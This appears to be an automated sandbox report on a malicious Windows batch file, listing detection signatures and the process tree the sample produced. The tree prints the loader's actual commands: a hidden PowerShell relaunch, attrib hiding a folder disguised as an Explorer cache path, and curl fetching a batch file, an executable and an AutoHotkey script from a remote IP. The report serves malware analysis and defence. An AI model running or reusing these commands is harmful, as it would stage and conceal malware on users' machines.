Analysis

  • max time kernel
    149s
  • max time network
    25s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/09/2026, 18:05

General

  • Target
    675c25305f886994751a2c0bd063bb3326fedc82b490edeefee439feeebaa5eb.bat
  • Size 1KB
  • Sample260909-wpbbsadb75
  • SHA256 675c25305f886994751a2c0bd063bb3326fedc82b490edeefee439feeebaa5eb
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\675c25305f886994751a2c0bd063bb3326fedc82b490edeefee439feeebaa5eb.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"\"C:\Users\Admin\AppData\Local\Temp\675c25305f886994751a2c0bd063bb3326fedc82b490edeefee439feeebaa5eb.bat\" go\"' -WindowStyle Hidden"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4136
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\675c25305f886994751a2c0bd063bb3326fedc82b490edeefee439feeebaa5eb.bat" go"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4272
        • C:\Windows\system32\attrib.exe
          attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\NotifyIcon\History\Cache\Settings"
          4⤵
          • Views/modifies file attributes
          PID:2516
        • C:\Windows\system32\curl.exe
          curl -sL -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\NotifyIcon\History\Cache\Settings\shell.bat" "http://31.57.34.228/work/shell.bat"
          4⤵
            PID:4408
          • C:\Windows\system32\curl.exe
            curl -sL -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\NotifyIcon\History\Cache\Settings\carrier.exe" "http://31.57.34.228/work/carrier.exe"
            4⤵
              PID:4100
            • C:\Windows\system32\curl.exe
              curl -sL -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\NotifyIcon\History\Cache\Settings\carrier.ahk" "http://31.57.34.228/work/carrier.ahk"
              4⤵
                PID:1640

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              memory/4136-0-0x00007FFC3A19F000-0x00007FFC3A1A0000-memory.dmp

              memory/4136-3-0x0000024761BB0000-0x0000024761BD2000-memory.dmp

              memory/4136-4-0x00007FFC3A010000-0x00007FFC3A9B4000-memory.dmp

              memory/4136-5-0x00007FFC3A010000-0x00007FFC3A9B4000-memory.dmp

              memory/4136-6-0x00007FFC3A010000-0x00007FFC3A9B4000-memory.dmp

              memory/4136-7-0x00007FFC3A010000-0x00007FFC3A9B4000-memory.dmp

              memory/4136-8-0x00007FFC3A010000-0x00007FFC3A9B4000-memory.dmp

              memory/4136-10-0x00007FFC3A010000-0x00007FFC3A9B4000-memory.dmp

              memory/4136-11-0x00007FFC3A010000-0x00007FFC3A9B4000-memory.dmp